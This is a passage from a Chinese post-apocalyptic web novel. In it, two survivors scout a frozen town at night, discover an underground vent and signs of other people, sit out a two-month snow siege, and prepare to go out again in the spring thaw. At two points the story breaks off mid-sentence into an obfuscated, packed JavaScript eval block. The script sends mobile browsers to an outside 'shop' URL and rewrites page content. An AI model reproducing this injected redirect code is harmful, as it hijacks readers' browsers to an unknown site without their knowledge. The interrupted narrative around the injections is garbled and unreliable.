这个计划,将冒险的冲动压后,代之以阶梯式的谨慎推进,既回应了迫近的威胁,也最大程度尊重了生存的严峻现实。 夜色,如同浓稠的墨汁,彻底浸透了小镇的每一寸废墟。 在这片被严寒与未知笼罩的死寂世界里,两个渺小的生灵,开始为他们在这个冬季可能最为冒险的一次行动,默默地倒数着时间。 18. 雪前疯狂大采购 铅灰色的云层低低压在小镇上空,仿佛触手可及。 持续了足够久的晴好天气终于吝啬地收起了最后一点仁慈,空气中弥漫着冰雪将至的沉重湿气,连带着藏身处那鸟笼取暖器散发的有限暖意,都显得岌岌可危起来。 藏身处内,气氛却带着一种奇异的“忙碌”。 陆昭妄正跟一块巨大的、看不出原本颜色的深色床单较劲。 他试图把它改造成一件能罩在外套外面的斗篷,手法粗暴得像是要给家具蒙防尘布。 “看什么?”他头也不抬,感觉到沈悬衡的目光,没好气地说,“末世顶级时装,限量款‘夜行匿踪系列’,主打一个与环境融为一体。” 沈悬衡放下手中正在处理的医疗包,平静地评价:“从裁剪学和美学角度,它更像一块准备去裹尸的布。而且,太大了,行动不便容易绊倒。” “要求真多。” 陆昭妄嘟囔着,手下却没停,利落地用找到的剪刀和粗线把过长的部分裁掉、缝边,动作居然透出一种违和的熟练。 “功能性第一!懂吗?要什么美学,能让你在黑夜里看起来像块会移动的石头就是最高美学。” 另一边,沈悬衡的工作则细致得多。 她将之前收集的黑色电工胶布仔细地缠绕在背包带、水壶金属外壳、工具手柄等所有可能意外反光的位置。 她甚至拆了一个旧的热水袋,将里面的凝胶状物质分装进几个小铁罐里。 “简易暖手源,”她解释道,递给陆昭妄一个,“握在手里,能提供大约十五分钟的相对温暖。关键时候或许有用。” 陆昭妄接过,掂量了一下,嘴角扯出一个弧度:“不错,够我冻僵前写个简短的遗书了。” 他转身又从角落里翻出几个空罐头盒、一小卷鱼线和几个小铃铛。“来看看这个,陆氏专利,‘走近科学’版预警系统。” 他三下五除二,用鱼线将铃铛和空罐头连接起来,形成一个简陋的绊索警报器,“只要哪个不长眼的家伙碰了线,保证它享受到‘声光盛宴’。” 沈悬衡看着他献宝似的展示,默默拿起一卷干净的绷带,开始给他的金属水管手柄缠绕加厚,以隔绝寒冷。“希望用不上。”她淡淡地说。 “当然,最好用不上。”陆昭妄把玩着对讲机,检查着电池,“但准备好,总比到时候抓瞎强。” 他开始最后清点装备:改装“夜行衣”、磨尖的水管、对讲机、几个“暖手罐”、“声光报警器”、一小包工具、以及少量高能量食物。 沈悬衡也背好了她的医疗包,里面除了常规药品,还特别加入了预防和治疗冻伤的药剂。 她看向陆昭妄,最后确认了一次行动细节与通讯方式——他们将全程保持对讲机开启,但仅限于接收状态。如遇情况,通过按压发射键产生极短促的、特定的静电干扰音作为信号,一声代表安全或按计划进行,连续两声代表发现危险需警戒,连续三声代表立即撤离。非紧急情况下,保持绝对静默。 陆昭妄深吸一口气,将那块饱受诟病的深色床单斗篷披在身上,整个人瞬间黯淡下去,仿佛真的即将融入门外的黑暗。 “走吧,”他声音低沉,带着一种近乎跃跃欲试的紧绷,“让我们去看看,这鬼地方的夜晚,到底有多‘精彩’。” 推开经过伪装的入口,一股远比室内凛冽的寒气瞬间如同实质般包裹上来,仿佛连空气都被冻成了细小的冰针,刺穿着每一寸暴露在外的皮肤。 两人前一后融入几乎化不开的浓稠黑暗里,身后伪装的痕迹被沈悬衡小心地恢复原状。 视野急剧收缩,仅有积雪反射的微弱天光,勾勒出世界扭曲而模糊的轮廓,稍远一些的景物便彻底沦陷于混沌。 风声主宰了一切,它呼啸着穿过废墟的孔洞,发出各种难以辨识的、有时似呜咽有时又似尖笑的怪声,有效地掩盖了许多细微动静,却也完美地遮蔽了可能逼近的危险声响。 陆昭妄打了个极其轻微的手势,示意跟上。他的脚步放得极轻,每一步都先试探性地落下,确认不会踩碎冰块或踢到松动杂物发出声响,才将重心移过去。 沈悬衡紧随其后,同样步履谨慎,她的呼吸压得很低,白色的哈气在出口的瞬间就被寒风撕碎消散。 低温是另一个无声的敌人。 尽管做了准备,寒气依旧无孔不入。 金属质地的水管手柄即使缠了布,握在手里也很快变得冰手。裸露的脸颊像是被粗糙的砂纸反复摩擦,很快失去知觉。 他们按照预定路线,在熟悉的区域边缘缓慢移动,如同两道紧贴着废墟阴影滑行的幽灵。 陆昭妄的双眼在黑暗中努力分辨着,异能并未动用,但那份对结构和路径的敏锐直觉被他发挥到极致。 他注意到,那些在白天规律移动的秩序行者,此刻的身影确实迟缓了许多,动作间带着一种类似机械润滑不足的滞涩感。 它们体表那层不祥的能量光晕,在绝对的黑暗中反而更加清晰,幽幽地浮动着,像是荒野中飘荡的鬼火,为这死寂的夜平添了几分诡谲。 更值得注意的是,他观察到一队秩序行者在巡逻至某片区域时,会明显地绕开一小段路,那里似乎是一个天然形成的风口,气流更为寒冷刺骨。 它们似乎……在规避极端的低温? 第一次夜间侦察,他们不敢冒进,目标仅仅是适应和验证。过程缓慢而煎熬,精神必须保持高度集中,体力和热量的消耗巨大。 除了确认夜间行动堪称恶劣的可行性,以及秩序行者对低温的微妙反应外,几乎一无所获。 陆昭妄设置的几个鱼线铃铛警报器,有一个在他们经过后不久莫名被触发,空罐子落在冻硬的地面上发出突兀的轻响,让两人瞬间僵直,潜伏在阴影中良久,直到确认没有引来任何东西,才继续移动。 接近凌晨,气温降至最低点,连呼出的白气都变得稀薄。 对讲机始终保持静默,只有持续开启带来的微弱电流底噪,证明着频道连通。 陆昭妄朝沈悬衡比了一个返回的手势,两人循着来路,更加小心地撤回了藏身处附近。 当那熟悉的入口轮廓在黑暗中隐约可见时,陆昭妄停下脚步,再次仔细观察周围,确认安全后,才极其短暂地按了一下对讲机的发射键。 “滋啦——” 一声极短促的静电音,透过沈悬衡挂在腰间的接收端轻轻响起。 几乎是同时,藏身处的伪装被从内部移开一道缝隙。 两人迅速闪身而入,沉重的障碍物立刻被重新堵上,将那片吞噬一切的寒冷与黑暗牢牢关在外面。 重回相对温暖的室内,两人几乎是同时打了个寒颤,仿佛刚才在室外被冻结的血液此刻才开始重新流动。 他们靠在门边,缓了好一会儿,才开始卸下身上厚重的装备。陆昭妄摘掉围巾,脸颊和鼻尖都冻得通红,他活动着有些僵硬的手指,感受着鸟笼取暖器传来的微弱但救命的暖意。 “这鬼天气…”他低声说,声音还带着点寒气,“比想象的还要命。要是再晚几天,在半路上遇到这种温度…”他没说完,但意思很明显。 沈悬衡沉默地点头,从医疗包里拿出预防冻伤的药剂,示意他伸手。她自己的脸色也有些苍白,睫毛上结的霜此刻才慢慢融化。 “现在想想,‘灰鼹鼠巢穴’那点勾心斗角,都算是温和的了。”陆昭妄一边伸出手让沈悬衡处理,一边扯了扯嘴角,语气带着劫后余生的庆幸,“至少四面有墙,头上顶盖。要是在野外,就刚才那风,搭十个帐篷也得给掀翻了,咱们现在估计已经成了路边的冻肉。” 这话让沈悬衡的动作微微一顿。她抬起头,看向陆昭妄:“说到巢穴…江敛和祝昭他们,不知道怎么样了。” 她的语气里带着一丝不易察觉的关切。毕竟是一起经历过生死的人。 陆昭妄哼了一声,似乎想习惯性地嘲讽两句,但话到嘴边又咽了回去,只是说:“江敛那家伙,看着死板,但生存能力不差,脑子也清醒。只要不被内部的麻烦缠上,活下去问题不大。”他顿了顿,像是想起了什么,“至于祝昭…那丫头运气邪门,有时候傻人有傻福。” “离开前,巢穴的气氛不太对。”沈悬衡一边替他涂抹药膏,一边平静地陈述,“那些检查人员,还有后来出现的安保队伍…不像是常规的秩序维护。” 陆昭妄的眼神锐利了些:“嗯。像是……在找什么东西,或者,在防备什么。江敛他队长的失踪,恐怕也不是意外。”他若有所思,“我们走得还算及时,不然很可能被卷进更麻烦的事情里。现在看来,这小镇虽然诡异,但至少‘规则’明确。外面的‘邻居’再危险,也比不上人心难测。” 这番交流让他们更加清晰地认识到当前处境的特殊性。 严寒将他们逼入了绝境,却也阴差阳错地让他们暂时远离了另一重潜在的危险。 而对另外两个同伴的挂念和巢穴异常的回忆,则像是一根细微的丝线,依然连接着他们与那个同样危机四伏的外部世界。 短暂的休整与交流后,两人并未松懈。 时间在藏身处内失去了昼夜的界限,只有轮替的警戒与准备。 沈悬衡详细记录了第一晚的环境数据、秩序行者的行为变化以及身体对极端低温的反应。 陆昭妄则对着那张手绘地图,用捡来的炭笔标记出昨晚的路线、秩序行者绕行的“低温区”,以及那个莫名触发的警报器位置。 “它们怕冷,或者至少,构成它们身体的能量场在极寒下会变得不稳定。”沈悬衡指着地图上被标记出的区域,“这可能是我们可以利用的弱点,但也可能是某种我们尚未理解的运行机制。” 陆昭妄盯着地图,手指在那条通往中心区域的、需要穿越数片开阔地的路线上划过:“之前只是热身。明晚,最后一晚,我们必须靠得更近。至少,要能看到那栋主建筑的全貌,或者找到其他入口的线索。” 他顿了顿,看向沈悬衡,“得改进一下装备,昨晚差点变成冰棍。” 第二次夜幕降临前,他们做了更充分的准备。 陆昭妄找到一些废弃的泡沫和厚实的内衬,加固了靴子和手套。沈悬衡则利用有限的材料,改进了那个简易暖手罐,试图延长其有效时间。 两人都默默地将所有金属物品用厚布包裹得更加严实。 再次踏入寒夜,依旧冰冷刺骨,但有了前一晚的经验,那种纯粹的、源自未知的恐惧稍微减退,取而代之的是更具目的性的警惕。 他们沿着重新规划好的、尽可能利用建筑阴影和“低温区”边缘的路线,向小镇中心方向缓慢推进。 行动比昨晚更加艰难,因为他们正在进入相对陌生的区域。 每一步都如同踩在雷区,精神必须高度集中,耳中捕捉着风声中任何一丝不和谐的异响,双眼在极差的视野中努力分辨着前方障碍物的轮廓和可能存在的反光。 就在他们试图绕过一片相对开阔的广场边缘时,空气中突然传来一阵细微但清晰的“嗡嗡”声,紧接着,一片肉眼可见的、扭曲的紫色数据流如同薄纱般从不远处横扫而过——小范围的数据风暴。 陆昭妄猛地停下,迅速而无声地对着开启的对讲机发射键,快速、连续地按压了三下。 急促的静电干扰音在沈悬衡的接收端清晰地响起。两人立刻向旁边一栋半塌的商铺内闪避。 数据流擦着商铺的外墙掠过,空气中留下淡淡的臭氧味。 就在这紧急规避的混乱中,沈悬衡脚下似乎踩空了什么东西,身体一个踉跄,幸好陆昭妄反应极快,一把抓住她的胳膊。 他用眼神询问。 “没事,”沈悬衡稳住身形,用极低的气音回答,同时低头看向脚下,“这里……好像有个入口?” 陆昭妄立刻蹲下身,用手拂开堆积的积雪和碎冰。 下面赫然是一个锈蚀严重的金属格栅,约莫半米见方,像是某种通风口或检修通道。 更令人注意的是,格栅的缝隙里,正隐约传来极其微弱的、规律性的“嗡鸣”声,并伴随着一丝若有若无的、类似机油加热后的气味。 他屏住呼吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16647175|188195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将耳朵贴近冰冷的格栅,集中全部听力。那稳定而低沉的机械运转声变得更加清晰了。 “地下有东西在转,”陆昭妄用几乎听不见的声音说,眼中闪过一丝锐利的光,“而且功率不小。” 他仔细检查格栅周围,发现边缘的积雪融化模式很不自然,靠近建筑内侧的部分明显有周期性融冻再凝结的层叠痕迹。 “这东西经常被打开。”他断定。 就在他试图寻找更多线索时,目光定格在格栅旁一块相对干燥的水泥地上。 那里,半个脚印清晰地印在那里——鞋底花纹独特,纹理清晰规整,带着明显的军用靴特征,绝非他和沈悬衡的靴子印,也不同于他们已知的任何一种足迹。 这个发现让两人瞬间警惕起来。 陆昭妄立刻打了个手势,示意停止一切动作,就地隐蔽。 他靠在冰冷的墙壁上,缓缓调整呼吸,将全部感官提升到极限,耳廓微不可查地转动,捕捉着风中任何一丝异动,双眼如同最精密的扫描仪,不放过任何阴影的细微变化。 几秒钟后,那种熟悉的、如同被冰冷针尖抵住后背的注视感,再次毫无征兆地从高处降临。 这一次,陆昭妄强行压下了所有抬头或移动的本能,甚至连眼珠都没有转动一下,只是用肘部极其轻微地、几乎难以察觉地碰了碰紧挨着他的沈悬衡的手臂。 沈悬衡的身体瞬间绷紧,随即也如同化作了墙壁的一部分,连呼吸都变得微不可闻。 那道视线在他们藏身的这片区域上空缓缓扫过,带着一种审视的、探究的意味,徘徊了足足有十几秒。 每一秒都如同在冰水中浸泡。 最终,那感觉如同它出现时一样突兀,悄然移开,消失在呼啸的风声与深沉的夜色里。 两人又等待了漫长的一分钟,确认危险暂时解除,才极其缓慢地、一寸寸地挪动身体,沿着来时规划好的备用撤退路线,如同消融的阴影般,无声无息地撤离了这片刚刚揭示了重要秘密,却也暴露了更多危险的区域。 返回藏身处的过程,比前一夜更加缓慢、更加谨慎。 那道如影随形的注视感,如同跗骨之蛆,即便已经消失,依旧在两人的神经末梢留下冰冷的刺痛。 他们绕了更远的路,穿行了更多复杂且利于隐藏的废墟,每一次风吹草动都足以让心脏漏跳半拍。 直到确认绝对安全,陆昭妄才按下对讲机,发出那个代表“即将归来,准备接应”的、约定好的信号。 推开伪装入口,重新被那鸟笼取暖器微不足道的暖意包裹时,两人几乎是同时松懈下来,靠在墙上,大口喘息,冰冷的空气灼烧着肺叶。 长时间的极端紧张与严寒,消耗掉了他们大半的精力。 沈悬衡率先平复了呼吸,她借着微弱的光线,一把抓过陆昭妄的手。 他的手指,尤其是之前就有旧伤的几根,此刻已经冻得发白、僵硬,指尖甚至泛着不健康的青紫色,显然是在长时间潜伏和操作中,保暖措施已然失效。 “别动。” 她的声音带着不容置疑的力道,立刻打开医疗包,取出预防冻伤的药剂和干净的纱布。她的动作迅速而精准,先用进来前就已经采好的雪,轻轻搓揉他僵硬的手指,待稍微恢复一点知觉后,再小心地涂上药膏,用纱布松散地包裹好。 “血液循环几乎停滞了。今晚不能再出去,明天也必须保持温暖。” 陆昭妄看着她专注的侧脸和手下利落的动作,扯了扯嘴角,想说什么调侃的话,却发现连脸部肌肉都有些僵硬。 他放弃了,转而用尚能活动的指关节敲了敲摊开在地上的地图,声音沙哑: “通风口,地下运转的机器,还有……那半个靴子印。”他顿了顿,抬眼看向沈悬衡,“内部可能有独立能源,甚至可能……有‘人’。至少,曾经有,或者现在还有。” 沈悬衡处理好他的冻伤,也看向地图,目光落在他们刚刚标记出的新发现上。 “那个‘注视’我们东西,很可能就来自他们。他们在暗处观察了我们很久,投下诱饵,现在……可能已经知道我们发现了他们的入口。” 沉默在狭小的空间里蔓延。窗外的风声更紧了,隐约能听到雪籽开始击打窗户的细密声响。 雪停期,真的即将彻底结束。 “摆在面前的,就两条路。”陆昭妄活动了一下被包扎好的手指,刺痛感让他更加清醒,“一,当缩头乌龟,指望这场大雪能把我们都埋起来,祈祷那个‘邻居’跟我们一样怕冷,整个冬天都窝着不动。赌一个未知的和平。” 他顿了顿,嘴角那抹熟悉的、带着点破罐子破摔的弧度又扬了起来:“二,趁现在,雪还没完全封路,那个‘邻居’可能也以为我们会躲起来的时候,给他们来个‘惊喜拜访’。赌一把,看看那‘年终大奖’到底是什么成色。” 沈悬衡沉默着。 固守,意味着将命运交给天气和敌人的善意,同时背负着整个冬季被未知威胁窥伺的心理压力。 冒险一搏,则可能直接踏入精心布置的陷阱,九死一生。 但有些选择,在情报积累到一定程度后,便不再有中间路线。 她抬起头,看向陆昭妄,眼神里没有了犹豫,只剩下清晰的决断:“他们知道我们存在,知道我们在探查。大雪只会暂时隔绝,不会消除威胁。被动等待,风险同样不可控。” 陆昭妄看着她,笑了,这次是真正带着点如释重负的笑意。 “懂了。” 他站起身,开始最后一次,也是最为细致地清点和整理所有装备,检查每一件工具的可靠性,给对讲机换上刚刚在藏身之处充好电的一块满电的电池。 他的动作平稳而专注,仿佛不是在准备一场生死未卜的冒险,而是在进行一项精密的技术调试。 “那就明晚,”他最后将那把磨得异常锋利的水管别在腰后,语气平静得像是在讨论明天去哪里散步,“去看看那位藏头露尾的‘房东’,到底给我们准备了什么样的‘年终大奖’。” 19. 被迫宅家两个月 陆昭妄是在一种近乎耳鸣的绝对寂静中被惊醒的。 不,不是惊醒。 他本就值着后半夜的班,只是那持续了数月、几乎成为背景音的风声,在某一个瞬间,戛然而止。 像被人掐住了世界的咽喉。 紧随而来的,是温度计水银柱暴跌般的寒意,丝丝缕缕,穿透加固过的门缝墙壁,渗进骨髓里。 他下意识地先看向他们被褥中间那个鸟笼造型、缺了半边栅栏的取暖器——它沉默着,原本该散发的微弱橘色光晕和那点救命的暖意,消失得无影无踪。 “操。”一个无声的音节在他舌尖滚过。 他立刻检查墙上的插座,指尖触碰,能感觉到那稳定不变的、来自地底未知能源的微弱电流振动。 不是能源问题。 是这老古董玩意儿自己撂挑子了。 陆昭妄啧了一声,脸上没什么恐慌,只有一种“就知道这破烂靠不住”的晦气表情。 他回头看了眼蜷在睡袋里,呼吸平稳悠长的沈悬衡。 她值的前半夜,此刻正该是深度睡眠的时候。 叫醒她?没必要。除了多一个人对着这破铜烂铁干瞪眼,还能干嘛? 他轻轻拔掉取暖器的插头,小心地移到床尾,再利落地从背包里翻出那个用防水布仔细包裹的工具卷,摊在远离沈悬衡头部的床尾。 借着应急灯冰冷的光线,他瞥了一眼插在床头中间插座上、正闪烁着充电指示灯的电池充电器——电力供应依旧稳定。问题确定出在取暖器本身。 他小心翼翼地开始拆卸取暖器布满锈迹的外壳,动作刻意放轻。 金属零件碰撞,发出细碎却无法完全消除的声响。 他刚拧下最后一颗锈死的螺丝,就听到身旁传来窸窣声。 沈悬衡并没有完全醒来,更像是被持续的低温与噪音从深沉的睡梦中勉强拖出来一点意识。 她迷迷糊糊地半支起上身,毯子从肩头滑落些许,几缕墨黑的发丝不听话地翘起,随着她的动作轻轻晃动。一双总是过于清醒的眼睛此刻蒙着水汽,毫无焦距地望向声音来源,声音含混地裹着浓重睡意: “……怎么了?好冷……” 随着她起身的动作,一丝她身上特有的、清苦中带着微甜的苦橘香气,淡淡地弥散开来。 陆昭妄拆卸的动作瞬间定格。 他侧过头,看见她难得一见的模样——眉头因被打扰而微微蹙起,脸上还带着熟睡后的红痕,看起来……有点傻乎乎的,完全不见平日的冷静。 一种奇怪的感觉攫住了他,让他把到了嘴边的惯常嘲讽硬生生咽了回去。 他清了清嗓子,用一种自己都未曾察觉的、压低了的,近乎平稳的语调开口: “没事,取暖器罢工,修一下。你睡你的。” 他的声音不高,却带着一种奇异的安定力量。 “……哦……”沈悬衡含糊地应了一声,像是接收到了“安全、可控、他在处理”的信号。 沉重的眼皮迅速耷拉下去,她顺从地重新躺倒,几乎是瞬间,呼吸就再次变得绵长均匀,沉回了黑甜的梦乡,仿佛刚才那短暂的清醒从未发生。 陆昭妄维持着侧头的姿势,盯着她重新埋进毯子里的后脑勺看了几秒,才转回头,几不可闻地松了口气。 他低头,继续手头的工作,接下来的动作放得更轻,几乎只剩下细微的金属摩擦声。 他专注于指尖的方寸之地,用找到的替代零件替换掉烧毁老化的部分,重新连接线路,清理触点……时间在寂静与专注中流逝。 当取暖器最终发出“嗡”的一声轻鸣,残存的那半边栅栏再次亮起令人安心的橘红色光芒,微弱的暖意重新开始驱散寒意时,陆昭妄才真正放松下来。 他站起身,活动了一下有些僵硬的脖颈,走到那条被积雪彻底封死的窗缝前,凑近唯一一个他们刻意留出的、仅供单向观察的细小孔洞。 外面,是吞噬一切的白。 雪还在下,密集得如同白色的幕布,积压的厚度已然达到了一个惊人的程度,将他视野所及的一切都深深掩埋。 陆昭妄的眼神沉静下来,没有任何意外,只有一种“果然如此”的冷静。他估算了一下时间、雪量和温度,心里已经有了结论。 他轻轻坐回自己的位置,没有打扰她的安眠。 天亮了——如果从那道被雪掩埋的窗缝透进来的、仅仅是稍微明亮了一点的模糊光线能算天亮的话。 沈悬衡醒来时,陆昭妄正把最后一块重新组装好的取暖器外壳拧紧。 她坐起身,揉了揉眼睛,神色已经恢复了平日的清明:“昨晚是不是有什么动静?” “嗯。”陆昭妄头也没抬,用袖子擦了擦额角并不存在的汗,“这破玩意儿半夜罢工,我修好了。”他语气平淡得像在说今天天气不错。 他起身,示意沈悬衡跟他一起清理入口内侧结的冰霜。 当那扇被加固过的门扉推开一道细缝,露出外面几乎与二层楼齐平的、坚实厚重的雪墙时,两人都沉默了一瞬。 “看来,”陆昭妄率先打破沉默,扯了扯嘴角,“咱们的‘年终拜访’计划,得改成‘春日惊魂’了。”他甚至还颇有闲心地用手指丈量了一下雪墙的厚度,“这雪要是能一直下到开春再化,说不定能把下面那些家伙直接闷死在里头,给咱们省不少事。” 沈悬衡没有理会他后半句的异想天开,她默默心算了一下物资储备,得出结论:“食物和净水省着用,能支撑半年。能源稳定。生存不是问题。” 不需要商量,一种默契的秩序很快建立起来。 陆昭妄负责设备维护、记录天气——主要通过听雪压声和感知温度变化,以及——用他的话说——“体能保持性训练”。 这训练很快演变成了对沈悬衡的格斗教学重启。 狭小的空间限制了腾挪闪躲,却正好适合精进那些之前在路上匆匆学过、却来不及细细打磨的贴身缠斗和关节技。 “手腕要这样,发力要短促,别用蛮力。”陆昭妄捏着她的手腕调整角度,语气带着点教官式的挑剔,却又意外地耐心。 他的指尖带着薄茧,触及她手腕内侧细腻的皮肤时,两人都几不可查地顿了一下。 沈悬衡学得认真,额角渗出细密的汗珠,动作从生疏到逐渐流畅,将之前赶路间隙陆昭妄灌输的那些零碎技巧,在这日复一日的重复中慢慢消化、巩固。 她甚至会在陆昭妄忙着捣鼓零件时,自己对着墙壁复习某个反关节控制的发力轨迹。 有时陆昭妄示范锁技,两人不可避免地贴近,她能闻到他身上混合着金属和尘土的气息,而他则能清晰地看到她颈侧因用力而微微绷紧的线条,以及偶尔因为吃痛而轻轻咬住的下唇。 一次教学间隙,沈悬衡下意识揉了揉之前被他反关节制住、还有些发酸的手腕,陆昭妄瞥见了,嗤笑一声:“这就受不了了?看来圣人小姐的‘分担’业务不包括肌肉酸痛。” 沈悬衡平静地放下手,气息还有些微喘:“如果你需要,我可以帮你‘分担’一下修理取暖器时可能扭到的手腕。” 陆昭妄被噎了一下,悻悻道:“免了,我怕你把我手腕‘分担’骨折。”他活动了一下自己的肩膀,像是想起了什么,又补充道,“不过说真的,你比之前学得快了点。至少现在知道用巧劲,而不是光靠你那点‘分担’的念头硬扛了。” “因为你说过,依赖异能是慢性自杀。”沈悬衡用他之前的话回敬他,拿起水壶小口喝水。 “啧,活学活用啊。”陆昭妄挑眉,似乎对她的进步还算满意,尽管他绝不会直接承认。 除了教学,闲聊成了打发时间的主要方式。 话题天马行空,从陆昭妄小时候如何把邻居家准备过年放的鞭炮拆了研究火药成分,结果炸了自家阳台,到沈悬衡实习时遇到的、坚信自己肚子里有条龙而拒绝手术的病人。 他们甚至开始玩一种幼稚的文字接龙游戏,输的人要负责下次清理通风口积攒的冰霜。 当然,摩擦也并非没有。 一次,陆昭妄维修工具后,将零件和碎屑随意堆在角落,沈悬衡整理时,不小心被一个尖锐的金属边划伤了手指。她还没说什么,陆昭妄先皱起了眉:“你就不能看着点?” “如果你能把东西放回原处,”沈悬衡按住渗血的小伤口,语气依旧平稳,“我就能看着点。” 陆昭妄啧了一声,有些不耐烦:“就这么大点地方,哪来的原处?凑合过不行吗?” “混乱会增加不必要的风险,尤其是在无法得到外部医疗支援的情况下。”沈悬衡拿出医疗包,给自己消毒包扎,动作一丝不苟。 “行行行,你有理。”陆昭妄烦躁地扒了下头发,最终还是认命般地开始归置那些散乱的工具,嘴里嘟囔着,“比我们所当年的教导主任管得还宽……” 沈悬衡看着他笨拙地试图将工具分类摆放,极轻微地弯了一下唇角。 日子就在这些教学、闲聊、偶尔的争执和更多的沉默中,一天天划过墙上的刻痕。 在格斗教学、幼稚游戏和关于工具摆放的小型争端之外,那些被风雪阻隔的、更深层的话题,也开始在这狭小的空间里缓慢浮现。 一次,在结束了关于“如果必须吃一种变异生物才能活下去会选哪个”的无厘头争论后,沈悬衡看着角落里重新稳定工作的取暖器,忽然轻声开口:“你第一次……感觉到代价的时候,是什么样?” 陆昭妄正百无聊赖地抛接着一枚螺丝玩,闻言动作一顿,螺丝啪嗒掉在地上。 他没有立刻去捡,沉默了几秒,才扯了扯嘴角,那笑容没什么温度:“像有根烧红的棍子,在脑子里搅。还顺手牵羊,卷走了我记了三年的手机密码。”他指了指自己的太阳穴,语气试图轻松,眼神却沉了下去,“当时真他妈以为要变成傻子了。” 沈悬衡的目光落在自己右手手背那道淡化的天平疤痕上。 “我像是被瞬间抽空,”她的声音很轻,仿佛怕惊扰了记忆中的感受,“冷,从骨头缝里透出来的冷。看东西的颜色都淡了,好像世界在我眼前一点点褪色。”她顿了顿,“那时候以为,某些东西……永远失去了。” “结果它又溜达回来了。”陆昭妄接上,带着点嘲弄,“给了颗甜枣,让人疑神疑鬼,不知道下次什么时候再挨闷棍。”他捡起地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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陆昭妄会侧耳倾听片刻,然后嗤之以鼻:“说不定是下面那帮家伙在打麻将,洗牌的声音透过地层传上来了。” 沈悬衡则会更仔细地记录下这些噪音出现的时间和大致特征,尽管这同样可能毫无意义。 日子就这样在深沉的寂静与思维的活跃之间,缓慢而坚定地向前推移。直到某一天,陆昭妄在例行清理通风口时,动作忽然停住。 “喂,”他头也没回,声音里带着一丝不易察觉的变化,“你过来感觉一下。” 沈悬衡走过去,依言将手靠近通风口格栅。一丝极其微弱、却与往日干燥寒冷截然不同的气流,正缓缓渗入。 那气流带着隐约的湿意,和一点点……属于泥土解冻时的、微乎其微的腥潮气息。 两人对视一眼,都没有说话。 陆昭妄率先移开目光,重新看向那条被冰雪封死的窗缝,仿佛能透过这厚重的白色壁垒,看到其后方正在悄然发生的、不可逆转的变化。 那丝微弱却不容忽视的、带着湿土气息的气流,像一根无形的针,刺破了持续数月的、凝固般的寂静。 自那以后,变化开始以肉眼可见的速度累积。 通风口渗入的空气一天比一天湿润,墙壁上顽固的冰霜先是挂上了水珠,继而汇聚成细小的溪流,蜿蜒而下,在墙角洇开深色的水痕。 头顶上方,偶尔会传来积雪不堪重负、从高处滑落的沉闷声响,伴随着冰凌断裂坠地的清脆碎裂音。 陆昭妄不再需要侧耳倾听,他靠在墙边,双手抱臂,看着沈悬衡用手指丈量墙壁上水痕蔓延的速度,听着外面那越来越频繁的、象征着冰雪帝国正在崩塌的“交响乐”。 “听见没?”他忽然开口,声音在狭小的空间里显得格外清晰,“冰棺材……开始漏水了。” 沈悬衡没有回头,指尖依旧停留在潮湿的墙面上,感受着那冰冷的湿意。 “按照这个融化速度,结合我们之前观察的积雪厚度,”她语气平静地计算着,“最多再有十天,主出口附近的积雪层会变得不稳定。十五天内,我们应该能找到出去的路径。” “十五天……”陆昭妄重复了一遍,嘴角勾起一个没什么笑意的弧度,“够下面那帮家伙把陷阱重新布置好几轮了。”他走到那个鸟笼取暖器旁,它的使命似乎也快要结束了。“睡了这么久的回笼觉,是时候起来活动活动筋骨,会会咱们那位神秘的‘房东’了。” 他弯腰,开始逐一检查那些在漫长冬季里被反复擦拭、保养的装备。 磨尖的金属水管、在打发时间中修好的对讲机、装满零碎工具的背包……他的动作不疾不徐,却带着一种磨砺已久的锋芒。 沈悬衡也默默开始整理她的医疗包,清点药品,将绷带重新卷好。 她的目光偶尔会与陆昭妄相遇,两人都没有说话,但一种无形的、为即将到来的未知所做的准备,在空气中悄然共鸣。 漫长的蛰伏已近尾声。 冰雪消融之下,被冻结的不仅仅是土地和废墟,还有所有暂停的冲突、潜藏的谜团与搁置的计划。 当最后的雪水汇成溪流,这片死寂的白色牢笼将再次向世界敞开,而蛰伏其间的猎手与探索者,也将迎来新一轮的博弈。冰层之下,蠢蠢欲动的远不止春意。 20. 横批:开春大礼包 最后一块冰棱从屋檐坠落,在下方融水积成的小洼里摔得粉碎,发出清脆又孤单的声响。 持续了数月、能将人逼疯的绝对寂静,终于被各种细碎的声音取代——雪水淅淅沥沥地从破败的管道和屋檐断口流淌下来,远处不时传来积雪层不堪重负、整体滑落的沉闷轰鸣,混杂着冰壳碎裂的咔嚓声。 空气里那股子干冷刺肺的感觉没了,取而代之的是一种湿漉漉、黏糊糊的寒意,夹杂着泥土解冻后翻上来的、带着点腥气的生机。 陆昭妄站在藏身点门口,活动了一下脖颈,骨骼发出轻微的咔哒声。 他深吸了一口这冰水混合物般的空气,扯了扯嘴角:“蹲了俩月大牢,可算能放风了。走,收快递去,希望‘卖家’没卷铺盖跑路,给咱留了点开春大礼包。” 沈悬衡正在最后清点他的背包,确保对讲机电量满格,工具都固定在顺手的位置。 闻言,她头也没抬,语气是一贯的平稳:“保持通讯,按计划联络。如果情况不对,立刻撤回。” “知道,知道,”陆昭妄摆摆手,把最后一块压缩饼干塞进侧袋,动作利落地将那根磨得锃亮的金属水管别在腰后,“保证不给‘房东’添太多麻烦,顶多……看看他仓库里有没有囤积居奇。” 他推开经过伪装的入口,一股比室内更显料峭的湿冷空气立刻涌了进来。 门外已不是之前那片齐腰深的雪原,取而代之的是半融的雪泥、裸露的黑色地面和到处横流的脏水。 整个世界像一块正在解冻的巨大脏兮兮的奶油蛋糕。 